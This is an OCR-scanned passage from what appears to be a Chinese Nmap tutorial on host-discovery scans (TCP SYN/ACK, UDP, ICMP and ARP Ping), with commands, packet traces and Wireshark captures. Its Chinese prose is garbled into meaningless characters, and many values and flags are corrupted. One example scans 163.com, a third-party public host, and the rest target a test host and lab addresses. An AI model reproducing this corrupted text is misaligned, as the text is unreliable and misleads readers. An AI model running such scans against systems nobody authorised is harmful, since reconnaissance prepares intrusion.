seg=0] IP [ttl=44 id=52743 iplen=28 ]

SENT (0.4847s) TCP 192.168.239.128:54907 > 45.33.32.156:443 S ttl1=50 id=42216 iplen=44
s5eg=2415939166 win=1024 <mss 1460>




SENT (0.4853s) TCP 192.168.239.128:54907 > 45.33.32.156:80 A ttl=41 id=52925 iplen=40
seq=0 win=1024

SENT (0.4855s) ICMP [192.168.239.128 > 45.33.32.156 Timestamp request (type=13/code=0)
1d=32160 seq=0 orig=0 recv=0 trans=0] IP [ttl=54 1d=27234 iplen=40 ]

RCVD (0.4864s) TCP 45.33.32.156:80 > 192.168.239.128:54907 R ttl=128 id=34681 iplen=40
seq=2415939166 win=32767

NSOCK INFO [0.4880s] nsi_new2(): nsi_new (IOD #1)

NSOCK INFO [0.4880s] nsock connect udp(): UDP connection requested to 192.168.239.2:53
(IOD #1) EID 8

NSOCK INFO [0.4880s] nsock read(): Read request from IOD #1 [192.168.239.2:53] (timeout:
-1lms) EID 18

NSOCK INFO [0.4880s] nsock trace handler callback(): Callback: CONNECT SUCCESS for EID
8 [192.168.239.2:53]

NSOCK INFO [0.4880s] nsock trace handler callback(): Callback: WRITE SUCCESS for EID 27
[192.168.239.2:53]

NSOCK INFO [0.8940s] nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 18
[192.168.239.2:53] (85 bytes)

NSOCK INFO [0.8940s] nsock read(): Read request from IOD #1 [192.168.239.2:53] (timeout:
-1lms) EID 34

NSOCK INFO [0.8940s] nsi_delete(): nsi_delete (IOD #1)

NSOCK INFO [0.8940s] msevent cancel (): msevent cancel on event #34 (type READ)

SENT (0.8946s) TCP 192.168.239.128:55163 > 45.33.32.156:0 S ttl=51 id=39619 iplen=44
seq=1637668556 win=1024 <mss 1460>

RCVD (0.8966s) TCP 45.33.32.156:0 > 192.168.239.128:55163 RA ttl=128 id=34684 iplen=40
seg=1398889074 win=64240

Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.0015s latency) .

rDNS record for 45.33.32.156: 1i982-156.members.linode.com

PORT STATE SERVICE

0/tcp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

root@Wing:~#

MEUL_EIRBIE BRRATTLAER], A 4 17F B8 ihsic A SENT, FHE7RA ICMP #1 1P 4,
WR pros:

SENT (0.4843s) ICMP [192.168.239.128 > 45.33.32.156 Echo request (type=8/code=0) id=930
seg=0] IP [ttl=44 id=52743 iplen=28 ]

SENT (0.4847s) TCP 192.168.239.128:54907 > 45.33.32.156:443 S ttl=50 id=42216 iplen=44
seq=2415939166 win=1024 <mss 1460>

SENT (0.4853s) TCP 192.168.239.128:54907 > 45.33.32.156:80 A ttl=41 id=52925 iplen=40
seq=0 win=1024

SENT (0.4855s) ICMP [192.168.239.128 > 45.33.32.156 Timestamp request (type=13/code=0)
1d=32160 seq=0 orig=0 recv=0 trans=0] IP [ttl=54 id=27234 iplen=40 ]

an e ET LKA B AR EHUR AR . AT AT LLFah45 2 134 H A AL ML, Nmap 32
FRR PN G 5 W0 BT
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2.4 X Ping 1

@® TCP: XM WML S A 6.

@ ICMP: XN M5 Hh 1.

® IGMP: Xf N M5 h 2.

@ UDP: XM S5 A 17,

FA4RE A H TCP. UDP. IGMP #pi3L i) H Ax EAL AR BLI- AW H AR A& B EL.

root@Wing:~# nmap -p06,17,2 --packet-trace scanme.nmap.org

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:42 CST

SENT (0.0647s) ICMP [192.168.239.128 > 45.33.32.156 Echo request (type=8/code=0) 1id=28812
seg=0] IP [ttl=51 id=19372 iplen=28

SENT (0.0649s) TCP 192.168.239.128:49262 > 45.33.32.156:443 S tt1=39 id=16459 iplen=44
seg=1786395366 win=1024 <mss 1460>

SENT (0.0651s) TCP 192.168.239.128:49262 > 45.33.32.156:80 A ttl=51 id=47484 iplen=40
seq=0 win=1024

SENT (0.0652s) ICMP [192.168.239.128 > 45.33.32.156 Timestamp request (type=13/code=0)
1d=10265 seq=0 orig=0 recv=0 trans=0] IP [ttl=57 id=64987 iplen=40 ]

RCVD (0.0660s) TCP 45.33.32.156:80 > 192.168.239.128:49262 R ttl=128 id=34698 iplen=40
seq=1786395366 win=32767

NSOCK INFO [0.0660s] nsi_new2(): nsi_new (IOD #1)

NSOCK INFO [0.0660s] nsock connect udp(): UDP connection requested to 192.168.239.2:53
(IOD #1) EID 8

NSOCK INFO [0.0660s] nsock_read(): Read request from IOD #1 [192.168.239.2:53] (timeout:
-lms) EID 18

NSOCK INFO [0.0660s] nsock trace handler callback(): Callback: CONNECT SUCCESS for EID
8 [192.168.239.2:53]

NSOCK INFO [0.0660s] nsock trace handler callback(): Callback: WRITE SUCCESS for EID 27
[192.168.239.2:53]

NSOCK INFO [0.0770s] nsock trace handler callback(): Callback: READ SUCCESS for EID 18
[192.168.239.2:53] (85 bytes)

NSOCK INFO [0.0770s] nsock _read(): Read request from IOD #1 [192.168.239.2:53] (timeout:
-1lms) EID 34

NSOCK INFO [0.0770s] nsi delete(): nsi_delete (IOD #1)

NSOCK INFO [0.0770s] msevent_cancel(): msevent_cancel on event #34 (type READ)

SENT (0.078ls) TCP 192.168.239.128:49518 > 45.33.32.156:6 S ttl=45 id=62567 iplen=44
5eqg=2228648245 win=1024 <mss 1460>

SENT (0.0782s) TCP 192.168.239.128:49518 > 45.33.32.156:17 S ttl=47 id=21783 iplen=44
seq=2228648245 win=1024 <mss 1460>

SENT (0.0784s) TCP 192.168.239.128:49518 > 45.33.32.156:2 S ttl=48 id=60557 iplen=44
seq=2228648245 win=1024 <mss 1460>

RCVD (0.3605s) ICMP [45.33.32.156 > 192.168.239.128 Echo reply (type=0/code=0) id=28812
seqg=0] IP [ttl=128 id=34700 iplen=28 ]

SENT (1.1801s) TCP 192.168.239.128:49519 > 45.33.32.156:2 S ttl=48 1id=28002 iplen=44
seq=2228713780 win=1024 <mss 1460>

SENT (1.1803s) TCP 192.168.239.128:49519 > 45.33.32.156:17 S tt1=38 id=41636 iplen=44
s5eq=2228713780 win=1024 <mss 1460>

SENT (1.1805s) TCP 192.168.239.128:49519 > 45.33.32.156:6 S ttl=52 i1d=58195 iplen=44
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seq=2228713780 win=1024 <mss 1460>

Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.0011s latency).

rDNS record for 45.33.32.156: 1i982-156.members.linode.com
PORT STATE SERVICE

2/tcp filtered compressnet

6/tcp filtered unknown

17/tcp filtered gotd

Nmap done: 1 IP address (1 host up) scanned in 1.28 seconds

root@Wing:~#

( P \” G Ping F4 4 nT AR RE SO 5 K B AOR 4, T LAE H bR EHLAE L Ping K1
S LR EH

25 RIERTTNEEE

* 2.4 Fon ARFENPTH; Nmap w23, RPIMH A AN Pridr&—TCP SYN

Ping % .
*24 ATRESRS
W b
-sP Ping F14i
-P0 G Ping £
-PS TCP SYN Ping A4
-PA TCP ACK Ping 1
-PU UDP Ping 414
-PE;-PP;-PM ICMP Ping Types 14
-PR ARP Ping 4
-n A% 1l- DNS JZ [ fi# b7
R S I T S 44
--system-dns i F RGel 44 e i 4
-sL LIE S R
-6 14t 1Pv6 Mkl
--traceroute I 1 PR ER
_PY SCTP INIT Ping 14§




25 TCP SYN Ping 13

TCP BpiS( & TCP/IP YU b (i TH ) 4 1) . AT SEMIMERZ P, VP AR R 5 i
R HHE . 7 AR S5 4% R 7 i LAAS [R] R 38088 ™ A= RV 9 B, TCP 424t 1 AR R
PIANEIIX . TCP $AL AN TIRSS, B [F B Re A i sh . @AE A — 5 #A SRR m
AR, AU R IE A . TCP ZEdRscrhn b — s RN Fo 5 R G FAEE, %
W BB T — AT, WRAERE I () Y, AW T XA AN N, U EHT R
PR, IXPRUE T TCP & —Fh o] SE &5 2 b

-PS IR E—ABEE T SYN bR AL TCP R0, ERIAH M 104 80 (AT LU I %e2s
nmap.h) £ ) DEFAULT-TCP-PROBE-PORT {E HE{THLE , (HAS [ (935 Ot Al LLYE Ay e 10
TR, SRR E P LUE S ke 1y (-ps22, 23, 25, 80, 115, 3306, 3389),
{EXFIEL T, AN IR Sl JF R s o

WHENEOL T, Nmap BRIA Ping $94# & ] TCP ACK F1 ICMP Echo i 3K X} H #ridt47 2 547
WML, 4 B AR ENLI B K% PR X 21 K i, FRATTRT A A TCP SYN Ping iR 3EAT %t
H bR EHUAATE T

root@Wing:~# nmap -PS -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 11:31 CST
Initiating Ping Scan at 11:31

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 11:31, 1.0ls elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:31

Completed Parallel DNS resolution of 1 host. at 11:31, 0.0ls elapsed
Initiating SYN Stealth Scan at 11:31

Scanning 192.168.121.1 [1000 ports]

Discovered open port 135/tcp on 192.168.121.1

Discovered open port 445/tcp on 192.168.121.1

Discovered open port 139/tcp on 192.168.121.1

Discovered open port 49155/tcp on 192.168.121.1

Discovered open port 7000/tcp on 192.168.121.1

Discovered open port 49165/tcp on 192.168.121.1

Discovered open port 49153/tcp on 192.168.121.1

Discovered open port 49152/tcp on 192.168.121.1

Discovered open port 912/tcp on 192.168.121.1

Discovered open port 902/tcp on 192.168.121.1

Discovered open port 843/tcp on 192.168.121.1

Increasing send delay for 192.168.121.1 from 0 to 5 due to 258 out of 858 dropped probes
since last increase.

Discovered open port 8000/tcp on 192.168.121.1

Completed SYN Stealth Scan at 11:32, 69.92s elapsed (1000 total ports)
Nmap scan report for 192.168.121.1

Host is up (l1.2s latency).
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Not shown: 987 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

514/tcp filtered shell

843/tcp open unknown

902/tcp open iss-realsecure

912/tcp open apex-mesh

7000/tcp open afs3-fileserver

8000/tcp open http-alt

49152/tcp open unknown

49153/tcp open unknown

49155/tcp open unknown

49165/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 70.99 seconds
Raw packets sent: 1409 (61.996KR) | Rcvd: 1008 (40.605KB)

root@Wing: ~#

A LTI )R [ 45 SR AT 540 Nmap /2183 SYN/ACK F1 RST Wi 5y 3t H #7 EHL R A%
ITHIW, (EFERFEBO T KIS EFR RST 8, XMHEN FHMNS RSN R, XK,
TR E — o H B Y SR8 S X A 10
root@Wing:~# nmap -PS80,100-200 -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 11:38 CST
Initiating Ping Scan at 11:38

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 11:38, 1.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:38

Completed Parallel DNS resolution of 1 host. at 11:38, 0.04s elapsed
Initiating SYN Stealth Scan at 11:38

Scanning 192.168.121.1 [102 ports]

Discovered open port 139/tcp on 192.168.121.1

Discovered open port 135/tcp on 192.168.121.1

Completed SYN Stealth Scan at 11:38, 4.04s elapsed (102 total ports)
Nmap scan report for 192.168.121.1

Host is up (1.0s latency).

Not shown: 100 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

Nmap done: 1 IP address (1 host up) scanned in 5.15 seconds
Raw packets sent: 103 (4.532KB) | Rcvd: 103 (4.128KB)
root@Wing: ~#
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26 TCP ACK Ping £

126 BTV IEEE

% 2.5 Pros AT Nmap fr3K&, RPILar@ 44N 5T f & ——TCP ACK

Ping 14
%25 KTREGSL
#® W B B
-sP Ping {34
-PO JC Ping $94i
-PS TCP SYN Ping 434
-PA TCP ACK Ping 3
-PU UDP Ping 34
-PE;-PP;-PM ICMP Ping Types 14
-PR ARP Ping 4
-n %11 DNS J i) f# 47
-R R 1A fE AT 42
--system-dns R A AR T8
-sL FIFRATH
-6 J4 1Pv6 Mk
--traceroute % PR ER
-PY SCTP INIT Ping ##i

{fi FiI-PA 3£ 35 A] LL#EAT TCP ACK Ping $1##i, ‘&5 TCP SYN Ping $14 & JE% 0L, M
— X 2 E TCP MIbREN 2 ACK MiAS & SYN, A A ixXFh oy 2N ol AR IR 1L SYN 4
g, ICMP Echo &K f F#H1.

IRZ B kBB SYN 3L, Frll Nmap $241t T TCP SYN Ping 145 TCP ACK Ping ]
PRI T 3, IXBRP O 20T AR AR i o B oK A, BRAT 134 vT BA[R] IS -PS
-SA KEERIE SYN X Ai% ACK. {Effifl TCP ACK Ping F1##il, Nmap &A% ACK by
) TCP .45 HAx EHL, Wk HAR ENARAETRE MR R ZIER, R Hbx B NS
R[4~ RST H.

root@Wing:~# nmap -PA -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 11:43 CST
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%28 Nmap THIAH

Initiating Ping Scan at 11:43

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 11:43, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:43

Completed Parallel DNS resolution of 1 host. at 11:43, 0.0ls elapsed
Initiating SYN Stealth Scan at 11:43
Scanning 192.168.121.1 [1000 ports]
Discovered open port 135/tcp on 192.168.121.
Discovered open port 139/tcp on 192.168.121.
Discovered open port 445/tcp on 192.168.121.
Discovered open port 912/tcp on 192.,168.121.1

Discovered open port 49155/tcp on 192.168.121.1

Discovered open port 8000/tcp on 192.168.121.1

Discovered open port 902/tcp on 192.168.121.1

Discovered open port 7000/tcp on 192.168.121.1

Increasing send delay for 192.168.121.1 from 0 to 5 due to 126 out of 418 dropped probes
since last increase.

Discovered open port 49152/tcp on 192.168.121.1

Discovered open port 49153/tcp on 192.168.121.1

Discovered open port 49165/tcp on 192.168.121.1

Discovered open port 843/tcp on 192.168.121.1

Completed SYN Stealth Scan at 11:45, 139.14s elapsed (1000 total ports)

Nmap scan report for 192.168.121.1

Host is up (1.0s latency).

o e

Not shown: 987 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell

843/tcp open unknown

902 /tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt
49152/tcp open unknown

49153 /tcp open unknown
49155/tcp open unknown
49165/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 139.22 seconds
Raw packets sent: 1723 (75.808KB) | Rcvd: 1014 (40.845KB)
root@Wing:~#

[E 4 A -PS 5-PA &I, fLREUTTF,

root@Wing:~# nmap -PA -PS 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 20:39 CST
Nmap scan report for 192.168.126.131



26 TCP ACK Ping 318

Host is up (0.00037s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@Wing:~#

BT RBATE — AP KBS R B, & 58 TCP ACK Ping 77 X%t H #x EHLBEST
Hi.

root@Wing:~# nmap -PA -v 192.168.22.22

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 11:46 CST
Initiating Ping Scan at 11:46

Scanning 192.168.22.22 [1 port]

Completed Ping Scan at 11:46, 2.01ls elapsed (1 total hosts)
Nmap scan report for 192.168.22.22 [host down]

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.04 seconds

Raw packets sent: 2 (80B) | Rcvd: 0 (0B)
root@Wing: ~#

METH SR R B AR EN R EAFAERRE, 2R TCP SYN Ping #4THH:, Xt
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H b LA RS2 T 0 W

root@Wing:~# nmap -PS -v 192.168.121.1

root@Wing:~#

Starting Nmap 6.47

Read data files from:
Nmap done: 1 IP address

( http://nmap.org )
Initiating Ping Scan at 11:50

Scanning 192.168.121.1
Completed Ping Scan at 11:50,

at 2015-06-28 11:50 CST

1.00s elapsed (1 total hosts)
/usr/bin/../share/nmap
(1 host up)
Raw packets sent:

scanned in 109.97 seconds
| Recvd: 1020 (40.848KB)

M 45 AR50 H AR BN ARtk LU TCP ACK B4 H dx = HLBA k55 FH

IET e

FER uor ping 133%

R 2.6 s WA TN Nmap fir 23, R nHlay 2 A AN FT i fr @——UDP Ping
4.
*26 EHRESS
i%

-sP Ping 414
-PO JC Ping $141
_PS TCP SYN Ping F4i
-PA TCP ACK Ping $4ii
-PU UDP Ping ¥4
-PE;-PP;-PM ICMP Ping Types 434
-PR ARP Ping $14
A #% 11 DNS % [ i #fr
R S5 11 i BT 158 44
--system-dns ] ARGl 42 B pT 2%
L Y44
6 4 TPvo Huhk
--traceroute B PR
-PY SCTP INIT Ping 14




2 7 UDP Plng ?ﬂ?ﬁ

-PU JETUE RI%E—A2 K UDP RCBIFE @ um (. WERAYE 2 v O BRIA 2 40125. %3k
A AT LB I 7F g 3 I 20% nmap.h SCFH¥) DEFAULT-UDP-PROBE-PORT fEHi{THL & . 2K
WS X RE— A A BRI 2 B X F IR 1, R A2 XA f  .

{i Fl UDP Ping $3## i Nmap & K i%—/ 251 UDP .2 B A= EHL, Wi B Ax EA1m 5 R
[ —A> ICMP 3 DA AASS R, QR B AR EHA R ARSI 25 1R [F] %7 ICMP #5715 B

root@Wing:~# nmap -PU -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 11:58 CST
Initiating Ping Scan at 11:58

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 11:58, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:58

Completed Parallel DNS resolution of 1 host. at 11:58, 0.0ls elapsed
Initiating SYN Stealth Scan at 11:58

Scanning 192.168.121.1 [1000 ports]

Discovered open port 135/tcp on 192.168.121.1

Discovered open port 139/tcp on 192.168.121.1

Discovered open port 445/tcp on 192.168.121.1

Discovered open port 49165/tcp on 192.168.121.1

Discovered open port 912/tcp on 192.168.121.1

Increasing send delay for 192.168.121.1 from 0 to 5 due to 123 out of 409 dropped probes
since last increase.

Discovered open port 902/tcp on 192.168.121.1

Discovered open port 49152/tcp on 192.168.121.1

Discovered open port 49155/tcp on 192.168.121.1

Discovered open port 49153/tcp on 192.168.121.1

Discovered open port 8000/tcp on 192.168.121.1

Discovered open port 7000/tcp on 192.168.121.1

Discovered open port 843/tcp on 192.168.121.1

Completed SYN Stealth Scan at 12:00, 110.73s elapsed (1000 total ports)
Nmap scan report for 192.168.121.1

Host is up (1.00s latency).

Not shown: 987 closed ports

PORT STATE SERVICE
135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell

843/tcp open unknown
902/tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt
49152/tcp open unknown
49153/tcp open unknown
49155/tcp open unknown
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£2% Nmap THEN

49165/tcp open unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 110.79 seconds

Raw packets sent: 1724 (75.840KB) | Rcvd: 1009 (40.661KB)
root@Wing: ~#

M HH 5 2R P AT AR S0 H AR EALE ARG, KR B S EHUFIE I 2k Bl —A> ICMP

Ui A AE M5 B, X B IRATMEH Wireshark SRECEHE L5347 -

e 2.4 Fros, fskAAHPE —515 58 “Destination unreachable”, X#E W H A 0] ik,

FEVEAN A B AR b T LA B4 A i 01 O 40125, AT BAS s A3 FH 3 At 1

Capturing from ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] Bl

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
o iBE a"ne aer»r T EB 2 -
Filter: icmp ~ Expression... Clear -

ation Pratocot  Lengtl info

70 Destinstion unreachable (Port unreachable)

. Frame 4: 70 by&; on wire (560 hlfl), 70 bytes captured (560 bits) on interface 0
< Ethernet II, Src: Vmware_fc:52:5b (00:50:56:fc:92:5b), Dst: Vmware_c8:ab:50 (00:0c:29:cB:ak
*+ Internet Protocol Version 4, Src: 192.168.121.1 (192.168.121.1), Dst: 192,168.239.128 (192
Internet Control Message Protocol
Type: 3 (Destination unreachable)
Code: 3 (Port unreachable)
Checksum: Oxe6ed [correct]
r Internet Protocol Version 4, Src: 192.168,239.128 (152.168.239.128), Dst: 192.168.121,1

User Datagram Protocol, Src Port: 41183 (41183), Dst Port: A0l2s {40125)

0010 ©O 38 15 €5 00 00 80 O1 3b Od cO a8 79 Ol <O a8 S5 aWie
0020 ef 80 03 03 e6 €9 00 00 00 00 45 00 00 Ic c4 74 ... G
0030 da 85 c0 a8 ef 80 co a8 79 o1 MR

0040 = 1

}OM User Datagram Protocol (udp), 8 b... = Packets: 2491 - Displayed: 1... Profile: Default

AB 24 FRERER—ICMPE

root@Wing:~# nmap -PU80,111 -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 12:26 CST
Initiating Ping Scan at 12:26

Scanning 192.168.121.1 [2 ports]

Completed Ping Scan at 12:26, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:26

Completed Parallel DNS resolution of 1 host. at 12:26, 0.01ls elapsed
Initiating SYN Stealth Scan at 12:26

Scanning 192.168.121.1 [1000 ports]

il 2.5 i MAS ICMP 2, HABRE R # 2 “Destination unreachable”, £l {5 & I

o 1A 25,
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Capturing from ethO [W'mshlrk 1.10.2 (SVN Rev 51934 from /trunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
0P iBY a XCiaenra T EN

Filter;  icmp

- Intarnet Control Message Protocol

OB B L2 G I BB A VM O AR e £ R SUT s LS YImEY SO B A VA S s

Internet Protocol Version 4, Src: 192.168.121.1 (192.168.121.1), Dst: 192.168.239.128 (1¢

Type: 3 {Destination unreachable)

(Port unreachabla)
Chacksum: Oxg58b [correct]

t: 192.168.121.

@ ™ ethO. <live capture in progress> Fil..  Packets: 2008 Displa... Profile: Default

+ Internet Protocol Version 4, Src: 192.168,239.128 (192.16fT259TT28T, O
+ User Datagram Protocol, Src Port: 57938 (5793%), Dst Port] http (80)

&1 co a8 ef 80 c0 a8 VN

79 01 e2

AF 25 FERERERE ICMP 8

X} 1omP ping Tynes 133

% 2.7 s WARE AP Nmap 4
Types 34 .

x27

ETFFEWS

A, RPN a4 A A/ dr4——ICMP Ping

I ® B

-sP Ping H4

-PO 7 Ping 4

-PS TCP SYN Ping $#
-PA TCP ACK Ping {14
-PU UDP Ping £14%
-PE;-PP;-PM ICMP Ping Types $3##
-PR ARP Ping 134

-n 4% 1 DNS J [ g #fr
-R S AR AT 1 4

--system-dns

181 Pl R G4 A AT 2%

-sL LESEE ]

-6 F13 1Pv6 Hbhik
--traceroute i ph R

-PY SCTP INIT Ping 34
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% 2%F Nmap EHEM

{£H-PE; -PP; -PM 1EX5 7] LLIEAT ICMP Ping Types 1. ICMP (Internet Control Message
Protocol) #Z Internet &= H#R SCHMX . &t TCP/IP PhSUEM—AS FHrl, HT1E 1P EHL. B
Pz LS HIEE . IR REMNEEAE ., EHUEE A, Bt n] SRS A1)
HE . RPN S B AER A, (ARx T H - 8 f a0 E A

Nmap K1%—/> ICMP type 8 ([0 /A iFK) i CH H br [P #uhik, WIBATH ENAFE]—A type
0 C[RIFEma ) R -PE EIR fa] R 32 (7] H A7 &% ICMP Echo #fs &R 480 H 45 3
VUREBEL, EFAVFE EVIP KB IEIX RS, B MUY ICMP F 4% T B 1A
HARE ¥R A SR (HX T REEE AR DA, e a2 LA B mige. /M
-PE JEXRIT JFi% (0] AiF K Thfig. -PP BT & ICMP I [A] 8 Ping $948, BEAR KL BB kb ic &
A AL ICMP Echo iR, HH TACEAMAIREMIE ICMP I REGEK, FrLAn] MER ICMP
I () e . H AR ENLR AT -PM LA LUSEAT ICMP HUhEHERY Ping $14f. X A4 75
LA EH AL ICMP 454 Ping H7@ EHL, 05 A A 2 1B B KSR

(1) ffH] ICMP Echo #3477 =

root@Wing:~# nmap -PE -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:22 CST

Initiating Ping Scan at 21:22

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 21:22, 0.00s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 21:22

Completed Parallel DNS resolution of 1 host. at 21:22, 0.01ls elapsed

Initiating SYN Stealth Scan at 21:22

Scanning 192.168.121.1 [1000 ports]

Discovered open port 139/tcp on 192.168.121.1

Discovered open port 135/tcp on 192.168.121.1

Discovered open port 445/tcp on 192.168.121.1

Discovered open port 49159/tcp on 192.168.121.1

Discovered open port 49152/tcp on 192.168.121.1

Discovered open port 843/tcp on 192.168.121.1

Discovered open port 912/tcp on 192.168.121.1

Increasing send delay for 192.168.121.1 from 0 to 5 due to 119 out of 395 dropped probes
since last increase.

Discovered open port 49155/tcp on 192.168.121.1

Discovered open port 7000/tcp on 192.168.121.1

Discovered open port 902/tcp on 192.168.121.1

Discovered open port 8000/tcp on 192.168.121.1

Stats: 0:02:15 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 21:25 (0:00:00 remaining)
Stats: 0:02:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 21:25 (0:00:00 remaining)
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Discovered open port 49153/tcp on 192.168.121.1

Completed SYN Stealth Scan at 21:25, 148.6ls elapsed (1000 total ports)
Nmap scan report for 192.168.121.1

Host is up (1.0s latency).

Not shown: 987 closed ports

PORT STATE SERVICE
135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell

843/tcp open unknown
902/tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt
49152/tcp open unknown
49153/tcp open unknown
49155/tcp open unknown
49159/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 148.68 seconds
Raw packets sent: 1744 (76.720KB) | Rcvd: 1017 (40.716KB)
root@Wing:~#

(2) f#F ICMP i [a] £ Ping $14

root@Wing:~# nmap -PP -v 163.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:24 CST
Initiating Ping Scan at 21:24

Scanning 163.com (123.58.180.8) [1 port]

Completed Ping Scan at 21:24, 2.0ls elapsed (1 total hosts)
Nmap scan report for 163.com (123.58.180.8) [host down]

Other addresses for 163.com (not scanned): 123.58.180.7

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.08 seconds

Raw packets sent: 2 (80B) | Rcvd: 0 (0B)
root@Wing:~#

(3) 1§ ICMP Hihil-#EFS Ping F13

root@Wing:~# nmap -PM -v 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-27 21:27 CST
Initiating Ping Scan at 21:27

Scanning 192.168.121.1 [1 port]

Completed Ping Scan at 21:27, 2.01ls elapsed (1 total hosts)
Nmap scan report for 192.168.121.1 [host down]
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gngmapImz{m e e e s B T, S e

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.05 seconds

Raw packets sent: 2 (64B) | Rcvd: 0 (0B)
root@Wing:~#

LR R, ANF RS G AN Bl K S5 A 2 AN R 145 2R

P aneping 135

% 2.8 B AAZENIPT# Nmap @73, RN A& B AN fir ©——ARP Ping 455,

*28 ATIRWL
% I B OB

-sP Ping 14
-P0 G Ping $14
-PS TCP SYN Ping 4
-PA TCP ACK Ping 14
_PU UDP Ping 174
-PE:-PP:-PM ICMP Ping Types $4i
PR ARP Ping H#i
-n 4% 1E DNS J% [0 fif e
R B Jal fR AT i 4%
--system-dns 18l RGIRA ARAT 4%
-sL VIE &L ]
-6 F14 TPv6 il
--traceroute % b IR
_PY SCTP INIT Ping 34

-PR BI85 (R4 R ek IS o ik @ AT 1 B ARP (Address Resolution Protocol),
JEMRAE 1P M bk ZREN ) B HE A — A TCP/AP WY, HIhEER: TN ARP IER R ML L
HIFAT BN, FHEBCGR PR, 52 H s TP shbk B shal, [FRDE 1P bk FfsEfF bk 47 A
AL ARP ZA7H, FRIERMN B ARP 2247,

ARP Ping $#fi/& Nmap %f H briE47—4> ARP Ping (it FE, JHAENMKHR T, {1
ARP Ping F4li /7 R B I, A RN b7 KRR S%E 1L ARP ifk, X et



210 HIEFIER

f, Ping $45#8 S a2k, 76 A W48 ARP Ping /2 3R H A 800 EBRIATE 0L R, 12 Nmap
RILH bR LN AEE BrE R R M F, 53847 ARP H14. RIS T AN Ping 2874 (4n1-PI
& -PS), Nmap HAXHEMA AR 16 HARHUEH ARP. WURASAEE ] ARP $948, ]
LL$i 5 --send-ip.

root@Wing:~# nmap -PR 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-09 20:51 CST
Nmap scan report for 192.168.126.131
Host is up (0.00049s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy—-ftp

3306/tcp open mysgl

5432 /tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

